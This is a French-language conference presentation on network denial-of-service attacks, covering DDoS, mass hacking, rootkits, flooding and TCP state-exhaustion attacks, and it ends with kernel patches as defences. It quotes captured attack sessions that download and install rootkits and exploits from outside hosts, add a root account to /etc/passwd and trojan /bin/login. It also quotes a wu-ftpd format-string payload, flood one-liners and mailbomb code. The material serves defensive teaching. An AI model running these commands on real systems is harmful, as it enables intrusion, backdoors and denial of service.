Les dénis de service réseau

Stéphane Aubert

Hervé Schauer Consultants
<http://www.hsc.fr/>



Sommaire

  1. Résumé
  2. Introduction
  3. Petit historique des DOS
  4. Présentation de DDOS (DOS répartis)
  5. Piratage de masse et RootKits
  6. Flooding (inondation de paquets)
  7. Dernières attaques contre TCP
  8. Quelques éléments de réponse

1. Résumé

La présentation que nous proposons a pour thème les dénis de services réseau. Ces derniers sont un type d'attaque via les réseaux, principalement IP dans notre exposé, qui visent à perturber ou bloquer un service distant. Ce service peut être le fonctionnement d'un ordinateur, d'un réseau, d'un serveur Web, DNS, de messagerie, etc.

Après un historique des dénis de services depuis 1992, nous nous proposons de présenter les attaques plus récentes comme les dénis de services répartis (DDOS). Ces DDOS sont des attaques depuis plusieurs sites. Ces sites sont généralement des machines connectées à Internet et piratées en masse par des scripts plus ou moins automatiques.

Ceci nous amènera à présenter les techniques de piratages de masse et à fournir des exemples concrets de logiciels, souvent nommés rootkit, installés sur les machines piratées que ce soit pour pouvoir contrôler à distance ces machines ou pour en attaquer d'autres par des attaques de type inondation de paquets.

Enfin, notre exposé portera sur les dernières attaques découvertes contre le protocole TCP en expliquant les différents problèmes qui permettent de bloquer un service TCP à distance, les programmes et les tests réalisés par notre cabinet. Nous terminerons en proposant des éléments de réponse contre ces attaques et en fournissant des pistes sur des travaux futurs qui permettrons de mieux lutter contre les dénis de service réseau.
 
 

2. Introduction

Définitions (Petit Larousse 2000) :

Pré-requis : Liens :
 

3. Historique


4. DDOS (Distributed Denial of Service)

               +--------+             +--------+
               | client |             | client |
               +--------+             +--------+
                   |                      |
          --+------+-------------+--------+---------+--
            |                    |                  |
            |                    |                  |
      +-----------+        +-----------+      +-----------+
      |  handler  |        |  handler  |      |  handler  |
      +-----------+        +-----------+      +-----------+
            |                    |                  |
            |                    |                  |
  ---+------+-----+------------+---+--------+-------+----+--
     |            |            |            |            |
     |            |            |            |            |
 +-------+    +-------+    +-------+    +-------+    +-------+
 | agent |    | agent |    | agent |    | agent |    | agent |
 +-------+    +-------+    +-------+    +-------+    +-------+
      \\\      ///    \\      ////         \\\\      ///
       \\\    ///      \\    ////           \\\\    ///
      +-----------+     +-----------+      +-----------+
      | broadcast |     | broadcast |      | broadcast |
      +-----------+     +-----------+      +-----------+
                 \\\        ||||          ///
                  \\\       vvvv         ///
                   \\\   +--------+    ///
                     --> | Victim |<----
                         +--------+

  DDOS
  • Trinoo

  • 5. Script de masse (Mass-Hack)


    #!/bin/sh
    echo "scanning $1 for open boxes"
    ./z0ne $1 >$1.hosts
    echo "done whoring hosts.. running strobe"
    ./strobe -i $1.hosts -p 111 -n 900 -o $1.temp
    echo "second pass complete now running em through mountd scanner"
    ./i.pl $1.temp
    echo "alldone"

    Attaque massive (exemple)

    cd /;uname -a; id
    wget -nd http://www.becys.org/xzibit.tar.gz
    tar -zxvf xzibit.tar.gz
    cd lamerk; ./install
    cd /; rm -rf lamerk xzibit.tar.gz
     

    Attaque massive (exemple)

    uname -a; pwd; who
    echo "xxx:xxx:xxx:xxx:::/bin/sh" >> /etc/passwd
    echo "xxx:xxx:xxx:xxx:xxx:xxx:::" >> /etc/shadow
    cd /tmp
    gcc xxx.c -o xxx
    cp /bin/login /bin/xcat
    cp xxx /bin/login
    rm xxx xxx.c wget http://packetstorm.decepticons.org/opensec-exploits/
    exploits/solaris/solaris7/automountd.tar.gz
    wget xxx.yyy.zzz/amdex.tgz
    gunzip amdex.tgz
    tar -xvf amdex.tar
    rm -rf amdex.tar ./ps xxx 98
    $ strings ps | grep remotes
    echo "%s" >> ./remotes
    ./vuln remotes
    $ strings vuln| egrep -i '(pro|wu)'
    Vulnerable FTP(pro) - %s
    Vulnerable FTP(wu) - %s:no directories ;(
    Vulnerable FTP(wu) - %s:%s
    Vulnerable FTP(wu) - %s:/%s
    wu-2.4.2-academ[BETA-18](1)
    ProFTPD 1.2.0pre3
    ProFTPD 1.2.0pre2
    ProFTPD 1.2.0pre1
    ./amdexa xxx.yyy.zzz.ttt
    etc.
      wget ftp://updates.redhat.com/6.0/i386/
    am-utils-6.0.1s11-1.6.0.i386.rpm
    rpm -Uvh am-utils-6.0.1s11-1.6.0.i386.rpm &
    rm -rf am-utils-6.0.1s11-1.6.0.i386.rpm
     

    Les rootkits

    T0rnkit -rwxr-xr-x 1 root root 22460 Mar 8 2000 /usr/bin/du
    -rwxr-xr-x 1 root root 57452 Feb 2 2000 /usr/bin/find
    -rwxr-xr-x 1 root root 32728 Mar 7 2000 /sbin/ifconfig
    -rwxr-xr-x 1 root root 6408 Feb 11 2000 /usr/sbin/in.fingerd
    -r-sr-xr-x 1 root root 20452 Feb 26 04:01 /bin/login
    -rwxr-xr-x 1 root root 39484 Mar 8 2000 /bin/ls
    -rwxr-xr-x 1 root root 53364 Mar 7 2000 /bin/netstat
    -rwxr-xr-x 1 root root 31336 Feb 26 12:07 /bin/ps
    -rwxr-xr-x 1 root root 266140 Mar 7 2000 /usr/bin/top
      -rw-r--r-- 1 root ftp 28 Feb 26 04:01 /etc/ttyhash

    -rw-r--r-- 1 root ftp 27 Feb 26 04:01 /usr/src/.puta/.1addr
    -rw-r--r-- 1 root ftp 72 Feb 26 04:01 /usr/src/.puta/.1file
    -rw-r--r-- 1 root ftp 21 Feb 26 04:01 /usr/src/.puta/.1logz
    -rw-r--r-- 1 root ftp 38 Feb 26 04:01 /usr/src/.puta/.1proc
    -rwxr-xr-x 1 root root 6948 Aug 23 2000 /usr/src/.puta/t0rns
    -rwxr-xr-x 1 root root 7578 Aug 21 2000 /usr/src/.puta/t0rnp
    -rwxr-xr-x 1 root root 1345 Sep 9 1999 /usr/src/.puta/t0rnsb
    -rw-r--r-- 1 root ftp 609461 Feb 27 18:31 /usr/src/.puta/system
    -rw-r--r-- 1 root bin 2125 Feb 25 23:11 /usr/src/.puta/bc.c
    drwxrwxr-x 2 1000 1000 4096 Feb 27 13:30 /usr/src/.puta/grabbb
    -rw-r--r-- 1 root bin 6379 Dec 31 1999 /usr/src/.puta/grabbb-0.1.0.tar.gz
    drwx------ 3 1001 1001 4096 Feb 27 00:06 /usr/src/.puta/nmap-1.49
    -rw-r--r-- 1 root bin 219155 Aug 16 1999 /usr/src/.puta/nmap.1.49.tar.gz
    -rwxr-xr-x 1 root bin 22850 Feb 26 23:35 /usr/src/.puta/smurf5

    -rw-r--r-- 1 root ftp 499 Feb 26 04:01 /usr/info/.t0rn/shdcf
    -rwxr-xr-x 1 root root 524 Mar 13 2000 /usr/info/.t0rn/shhk
    -rwxr-xr-x 1 root root 328 Mar 13 2000 /usr/info/.t0rn/shhk.pub
    -rwxr-xr-x 1 root root 512 Mar 1 10:15 /usr/info/.t0rn/shrs
     

    -rw-r--r-- 1 root bin 730 Feb 28 17:13 b
    -rw-r--r-- 1 root root 3350 Feb 27 15:38 bc.c
    -rw-r--r-- 1 root root 1736235 Feb 27 17:36 bccccc
    -rw------- 1 root root 798720 Feb 27 21:43 core
    drwxrwxr-x 2 1000 1000 1024 Feb 28 11:42 grabbb
    -rw-r--r-- 1 root root 6379 Feb 28 11:42 grabbb-0.1.0.tar.gz
    -rwxr-xr-x 1 root bin 22849 Feb 27 10:19 smurf5
    -rw-r--r-- 1 root root 50792 Feb 28 11:46 wuftpd2600.c Port 48863
    ListenAddress 0.0.0.0
    HostKey /usr/info/.t0rn/shhk
    RandomSeed /usr/info/.t0rn/shrs
    ... ============================================================
    Time: Mon Feb 26 19:32:53 Size: 1941
    Path: xxx.yyy.zzz.ttt => [rooted-linux-box] [21]
    ------------------------------------------------------------
    [p[e[fa[faUSER ftp[fPASS mozilla@[fSITE EXEC %020d|%.f%.f|[1f[TfSITE EXEC 7
    mmmmnnnn%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.
    f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f
    %.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%
    .f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.
    f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f


    xxx.yyy.zzz.ttt:21: 220 XXXXXXX FTP server (Version wu-2.6.0(1)
    xxx.yyy.zzz.ttt:21: 220 XXXXXXX Microsoft FTP Service (Version 4.0).
    xxx.yyy.zzz.ttt:21: 220 XXXXXXX FTP server (Version wu-2.5.0(1)
     
     

    6. Le "flooding"

    ping -f <victim> -s <size>

    while : ; do
    telnet  <victim> &
    done

    @re = ("","","","","","","Re: ","Re: ","Re: ","Fw: ","Ad: ","Fwd: ");

    @sub2 = ("","Information","Info","Hello","Hi","Hiya","Yo","Registration",
    "Registering","Order","Ordering","Oi","Idea","Idea!","ISP","Internet Access",
    "Payment","Credit-Card","admin","Winning","Winnings","Compo","Competiton",
    "Howdy","Stuff","Fault","Faulty Order","Root","Hacking","Internet Abuse",
    "Mail Servers","Mailbombing....","Mailbomb","Help!","I'm Stuck","Computer Games",
    "Free Computer Games","Free Internet Access","0800","France","Holiday","French",
    ...

    $rep = $re[rand(@re)]; $subj1 = $sub1[rand(@sub1)];
    $subj2 = $sub2[rand(@sub2)];

    $subject = $rep . $subj1 . $subj2;

    $smtp -> mail($ENV{USER});
    $smtp -> to ($to);
    $smtp -> data();
    $smtp -> datasend("From: $from2 ($from)\n");
    $smtp -> datasend("Reply-To: $from2\n");
    $smtp -> datasend("To: $to (Mailing List Entry\: $key)\n");
    $smtp -> datasend("Subject: $subject\n");
    $smtp -> datasend("Date: Wed, 1 Jan 2039 00:00:01 -0000\n");
     

                  +---------+            
                  |  agent  |            
                  +---------+            
    ICMP            |  |                    
    from: victime   |  |                    
    to: broadcast   |  |                  +---------+
                    |  |  +-------------->| victime |
                    |  |  |    N fois     +---------+
                  +---------+          
                  | routeur |          
                  +---------+          
                    |  |  |
                    v  |  ^
                +------+--|---------+-------------------+
                |         |         |                   |
                |  +------+------------+------------+   |
                |  |                |  |            |   |
          +-----------+        +-----------+      +-----------+
          |  machine  |        |  machine  |      |  machine  |
          +-----------+        +-----------+      +-----------+
    

     

    Flooding (exemples d'outils)


    7. Dernières attaques contre TCP


    RFC 793 - TCP Connection State Diagram - Figure 6.

                                 +---------+ ---------\      active OPEN  
                                 |  CLOSED |            \    -----------  
                                 +---------+<---------\   \   create TCB  
                                   |     ^              \   \  snd SYN    
                      passive OPEN |     |   CLOSE        \   \           
                      ------------ |     | ----------       \   \         
                       create TCB  |     | delete TCB         \   \       
                                   V     |                      \   \     
                                 +---------+            CLOSE    |    \   
                                 |  LISTEN |          ---------- |     |
                                 +---------+          delete TCB |     |  
                      rcv SYN      |     |     SEND              |     |  
                     -----------   |     |    -------            |     V  
    +---------+      snd SYN,ACK  /       \   snd SYN          +---------+
    |         |<-----------------           ------------------>|         |
    |   SYN   |                    rcv SYN                     |   SYN   |
    |   RCVD  |<-----------------------------------------------|   SENT  |
    |         |                    snd ACK                     |         |
    |         |------------------           -------------------|         |
    +---------+   rcv ACK of SYN  \       /  rcv SYN,ACK       +---------+
      |           --------------   |     |   -----------                  
      |                  x         |     |     snd ACK                    
      |                            V     V                                
      |  CLOSE                   +---------+                              
      | -------                  |  ESTAB  |                              
      | snd FIN                  +---------+                              
      |                   CLOSE    |     |    rcv FIN                     
      V                  -------   |     |    -------                     
    +---------+          snd FIN  /       \   snd ACK          +---------+
    |  FIN    |<-----------------           ------------------>|  CLOSE  |
    | WAIT-1  |------------------                              |   WAIT  |
    +---------+          rcv FIN  \                            +---------+
      | rcv ACK of FIN   -------   |                            CLOSE  |  
      | --------------   snd ACK   |                           ------- |  
      V        x                   V                           snd FIN V  
    +---------+                  +---------+                   +---------+
    |FINWAIT-2|                  | CLOSING |                   | LAST-ACK|
    +---------+                  +---------+                   +---------+
      |                rcv ACK of FIN |                 rcv ACK of FIN |  
      |  rcv FIN       -------------- |    Timeout=2MSL -------------- |  
      |  -------              x       V    ------------        x       V  
       \ snd ACK                 +---------+delete TCB         +---------+
        ------------------------>|TIME WAIT|------------------>| CLOSED  |
                                 +---------+                   +---------+
    
    Normal :
                                       
      Client  ------[ SYN ]-----> Serveur
      Client  <---[ SYN|ACK ]---- Serveur                                 
      Client  ------[ ACK ]-----> Serveur
                                       
    Naptha :
                                       
      Client  ------[ SYN ]-----> Serveur                                 
      Client  <---[ SYN|ACK ]---- Serveur
      Client  ----[ FIN|ACK ]---> Serveur
    

    /*
    * Ack processing.
    */
    switch (tp->t_state) {
    /*
    * In SYN_RECEIVED state if the ack ACKs our SYN then enter
    * ESTABLISHED state and continue processing, otherwise
    * send an RST.
    */
    case TCPS_SYN_RECEIVED:
    if (SEQ_GT(tp->snd_una, th->th_ack) ||
    SEQ_GT(th->th_ack, tp->snd_max))
    goto dropwithreset;
    tcpstat.tcps_connects++;
    soisconnected(so);
    tcp_established(tp);

      Client --------[ SYN ]-------> Victime
    Client <-----[ SYN|ACK ]------ Victime
    Client --------[ ACK ]-------> Victime
      Client --------[ SYN ]-------> Victime
    Client <-----[ SYN|ACK ]------ Victime
    Client ------[ FIN|ACK ]-----> Victime
      Client --------[ SYN ]-------> Victime
    Client <-----[ SYN|ACK ]------ Victime
    Client --------[ ACK ]-------> Victime
    Client ------[ FIN|ACK ]-----> Victime Client --------[ SYN ]-------> Victime
    Client <-----[ SYN|ACK ]------ Victime
    Client --------[ ACK ]-------> Victime

    Client --------[ SYN ]-------> Victime
    Client <-----[ SYN|ACK ]------ Victime
    Client ------[ FIN|ACK ]-----> Victime
     

    Client --------[ SYN ]-------------> Victime
    Client <-----[ SYN|ACK ]------------ Victime
    Client --------[ ACK ]------->|      Victime
                                  |
                              TTL court --== shutup v0.5 - sa/hsc ==--

    == target: groar [192.70.106.66]
    == interface: ep0
    == local ip: 192.70.106.82

    08:42:02.270273 [SA] 192.70.106.66:80 -> 192.70.106.82:42317 ==> Ack + Fin|Ack
    08:42:02.270337 [SA] 192.70.106.66:80 -> 192.70.106.82:63231 ==> Fin|Ack
    08:42:02.270399 [SA] 192.70.106.66:80 -> 192.70.106.82:44523 ==> Ack + Fin|Ack
    08:42:02.270459 [SA] 192.70.106.66:80 -> 192.70.106.82:16845 ==> Fin|Ack
    08:42:02.270522 [SA] 192.70.106.66:80 -> 192.70.106.82:5208 ==> Ack + Fin|Ack
    08:42:02.270597 [SA] 192.70.106.66:80 -> 192.70.106.82:23311 ==> Fin|Ack
    08:42:02.270658 [SA] 192.70.106.66:80 -> 192.70.106.82:4306 ==> Ack + Fin|Ack

    Ou encore :

    09:06:12.700343 [SA] 192.70.106.66:80 -> 192.70.106.82:26231 ==> Ack
    09:06:12.710345 [SA] 192.70.106.66:80 -> 192.70.106.82:37729 ==> Ack
    09:06:12.720341 [SA] 192.70.106.66:80 -> 192.70.106.82:1983 ==> Ack
    09:06:12.730342 [SA] 192.70.106.66:80 -> 192.70.106.82:35187 ==> Ack
    09:06:12.740337 [SA] 192.70.106.66:80 -> 192.70.106.82:49277 ==> Ack
    09:06:12.750346 [SA] 192.70.106.66:80 -> 192.70.106.82:33695 ==> Ack 

                                   LAST_ACK SYN_RECV
                                   -------- --------
    Jusque là tout va bien :
    Tue Mar 20 11:48:22 CET 2001   17326    2
    Tue Mar 20 11:48:36 CET 2001   17816    2
    Tue Mar 20 11:48:49 CET 2001   18195    124
    Tue Mar 20 11:49:04 CET 2001   18382    127

    A partir de là, rien ne va plus :
    Tue Mar 20 11:49:19 CET 2001   18401    129
    Tue Mar 20 11:49:33 CET 2001   18401    129

    # ssh ducamp@itesec
    socket: No buffer space available
    socket: No buffer space available
    socket: No buffer space available
    socket: No buffer space available
    Secure connection to itesec refused.

    Ca ne va toujours pas :
    Tue Mar 20 11:55:50 CET 2001   18401    129
    Tue Mar 20 11:56:05 CET 2001   18401    43

    Le début de la libération :
    Tue Mar 20 12:04:15 CET 2001   18401
    Tue Mar 20 12:04:29 CET 2001   18189

    Pour tout libérer, c'est long ...
    Tue Mar 20 12:10:22 CET 2001   4151
    Tue Mar 20 12:10:23 CET 2001   4105

    Enfin :)
    Tue Mar 20 12:12:29 CET 2001   13
    Tue Mar 20 12:12:29 CET 2001
     


    8. Quelques éléments de réponse

    --------- begin patch file of sys/netinet/tcp_usrreq.c ----------
    --- tcp_usrreq.c.orig Thu Mar 22 14:59:45 2001
    +++ tcp_usrreq.c Thu Mar 22 15:04:49 2001
    @@ -1139,13 +1139,15 @@
    tp->t_state = TCPS_LAST_ACK;
    break;
    }
    - if (tp && tp->t_state >= TCPS_FIN_WAIT_2) {
    + if (tp && tp->t_state >= TCPS_FIN_WAIT_2)
    soisdisconnected(tp->t_inpcb->inp_socket);
    - /* To prevent the connection hanging in FIN_WAIT_2 forever. */
    - if (tp->t_state == TCPS_FIN_WAIT_2)
    - callout_reset(tp->tt_2msl, tcp_maxidle,
    - tcp_timer_2msl, tp);
    - }
    + /*
    + * To prevent the connection hanging in FIN_WAIT_2 &
    + * TCPS_LAST_ACK forever.
    + */
    + if (tp->t_state == TCPS_FIN_WAIT_2 || tp->t_state == TCPS_LAST_ACK)
    + callout_reset(tp->tt_2msl, tcp_maxidle,
    + tcp_timer_2msl, tp);
    return (tp);
    } /* TCP_SYN_SENT */ TCP_CLOSE,
    - /* TCP_SYN_RECV */ TCP_FIN_WAIT1 | TCP_ACTION_FIN,
    + /* TCP_SYN_RECV */ TCP_CLOSE,
    /* TCP_FIN_WAIT1 */ TCP_FIN_WAIT1,
      /*
    * Ack processing.
    */
    switch (tp->t_state) {
    /*
    * In SYN_RECEIVED state if the ack ACKs our SYN then enter
    * ESTABLISHED state and continue processing, otherwise
    * send an RST.
    */
    case TCPS_SYN_RECEIVED:
    /*
    * Simple protection against FIN|ACK in that state
    * (Stephane Aubert - HSC - 23/03/2001)
    */
    if ((tiflags & TH_FIN) == 1 ||
    SEQ_GT(tp->snd_una, th->th_ack) ||
    SEQ_GT(th->th_ack, tp->snd_max))
    goto dropwithreset;
    tcpstat.tcps_connects++;
    soisconnected(so);
    tcp_established(tp);